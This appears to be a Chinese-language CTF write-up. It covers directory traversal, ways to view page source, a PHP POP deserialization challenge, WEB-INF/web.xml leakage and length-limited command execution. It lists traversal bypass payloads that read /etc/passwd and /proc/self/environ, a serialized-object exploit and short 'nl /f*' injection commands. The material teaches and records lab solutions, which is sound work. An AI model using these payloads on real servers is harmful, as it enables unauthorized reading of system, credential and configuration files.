SQCTF

关于相对路径的绕过->目录遍历漏洞(Through)

原理

某些使用不当参数包含的使用导致能都读取服务器上任意文件

比如在网页html中使用<img src="/image?filename=1.png">来加载image下的1.png文件

当攻击者读取任意文件可以使用filename=../../../../../etc/passwd时就成为

/var/www/images/../../../../../etc/passwd
就等价于
/etc/passwd

Linux中,../表示返回上级目录;在Windows中,../和..\都表示返回上级目录

在根目录使用../只会返回当前页面

攻击方法

如下题,那么file参数就可能有目录遍历的风险

<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>
  • 直接包含

file=../../../../etc/passwd
  • 使用绝对路径

有些时候会对参数进行检测,比如过滤../等,那么这个时候我们可以尝试绝对路径

file=etc/passwd
  • 使用双写绕过

如果只是将../替换为空,那么可以使用双写绕过。(SQCTF-Through)

file=....//....//....//....//etc/passwd
file=..././..././..././..././etc/passwd
  • 使用url编码绕过

有些时候也可以通过url编码来绕过服务器对.或者/的检测

. => %2e

/ => %2f

% => %25 (双重URL编码)

file=..%2f..%2f..%2f..%2fetc%2fpasswd
file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
file=..%252f..%252f..%252f..%252fetc%252fpasswd
  • 绝对路径配合../

有些时候会对参数进行判断是否为一个固定开头

file=/var/www/image/../../../../etc/passwd
  • %00截断文件后缀

如果对文件后缀名进行限制,利用%00截断

file=../../../../etc/passwd%00.jpg
  • ./绕过

如果只是对连续的../进行过滤,那么就可以用./../来进行绕过。(eg.2025XYCTF-Signin)

./表示当前目录,添加进去不会造成任何影响

file=./.././.././.././../etc/passwd

常见有用路径

  • /proc/self/environ当前进程的环境变量
  • /var/www/html默认的 Web 根目录
  • /etc/passwd存储用户账户的基本信息

获得源码方法(eeaassyy)

在很多时候,如果源码中有泄露的信息,都会将常见读源码的方式禁用了,那么就来系统整理一下读取方法

  • F12
  • ctrl+u
  • 右键查看源代码
  • 在url前输入view-source:
  • 两下F12强制进入开发者模式
  • 命令行中用curlwget获得网页源码,比如curl http://xxx.comm
  • 抓包看返回包
  • 扫目录发现源码备份等,比如www.zip,index.phps,index.php.bak

pop反序列化(嘿嘿嘿)

pop反序列化一直我不怎么会,那就重新详解一下这道题

<?php
highlight_file(__FILE__);

class hhh {
public $file;
public $content;

public function __construct($file, $content) {
$this->file = $file;
$this->content = $content;
}

public function __destruct() {
if ($this->file && $this->content) {
if (strpos($this->file, 'flag') !== false) {
die("No flag file!");
}
//检测file中是否有flag字符,如果有就die
if (file_exists($this->file)) {
die("File already exists!");
}
//检测file是否已存在
file_put_contents($this->file, $this->content);
//将content的内容写入到file中
}
}
}

class xxx {
public $data;

public function __construct($data) {
$this->data = $data;
}

public function __toString() {
return $this->data;
}
//把类作为字符串调用时使用该方法,返回data的值
}

class yyy {
public $path;
public $allowed;

public function __construct($path, $allowed) {
$this->path = $path;
$this->allowed = $allowed;
}

public function __toString() {
if ($this->allowed) {
return file_get_contents($this->path);
} else {
return "Access Denied!";
}
}
}

if (isset($_POST['data'])) {
$data = unserialize($_POST['data']);

if (is_array($data->file) || md5($data->file) === md5("flag.php")) {
die("No cheating!");
}
//检测data中file不为数组和file的文件MD5值和flag文件MD5值不相等
if (strpos($data->file, 'php://') !== false) {
die("No php protocol!");
}
//file里面不能用php伪协议
if ($data->content === "GET_FLAG") {
echo "Flag: " . file_get_contents("flag.php");
}
//需要content中的数据为GET_FLAG
}
?>

其实最后只需要限制content的内容就可以输出最后flag了,即只需要关注最后一个if条件中的echo即可

<?php 
class hhh{
public $file="test.txt";
public $content="GET_FLAG";
}
$a=new hhh();
echo serialize($a);
//O:3:"hhh":2:{s:4:"file";s:8:"test.txt";s:7:"content";s:8:"GET_FLAG";}

1pop反序列化字符逃逸(逃)

这个知识点虽然在之前的文章写过了,但是还是一知半解的,等找到题目源码之后再次总结

19446a46578398884e0daae3c759738f

WEB-INF/web.xml泄露漏洞(File_download)

原理

WEB-INF主要包含以下内容:

  • /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
  • /WEB-INF/classes/:包含所有的 Servlet 类和其他类文件,类文件所在的目录结构与他们的包名称匹配。
  • /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
  • /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
  • /WEB-INF/database.properties:数据库配置文件。

那么,在了解了web.xml这个文件内容之后,我们就可发现它里面所包含的信息就是敏感文件的分布情况。所以说只要我们有权限访问这个文件,我们就可以通过文件包含等手段进行敏感信息的获取。

攻击方法

以这个题为例,在扫目录发现WEB-INF目录后就可以通过里面的/WEB-INF/web.xml找到配置文件,进而找到可能的含有flag的文件进行下一步分析

限制长度下的命令执行(RceMe)

这个题限制了不能超过6个字符,如果是cat /f*刚好超过,那这时就可以通过nl这个编号并返回的命令来直接读取根目录下全部文件,则有了nl /f*

这里可以本地进行尝试,首先在根目录下新建一个flag.txt

image-20250414232140244

尝试进行nl /f*,可以看到只读取了flag的文件内容,而对于其他目录,nl是不能读取的

image-20250414232334511

无参RCE(无参之舞)

这里最后还是使用了十六进制编码绕过,但是还是应该系统学一下无参RCE了,觉得比较重要就写到了命令执行里面,参考web入门-命令执行(已完结) | Yxing

五字符rce(RceMe)

在比赛中直接一个nl /*就打出来了,但是赛后看wp发现还有其他姿势,那就来学习一下

觉得重要就写到命令执行里面了,参考web入门-命令执行(已完结) | Yxing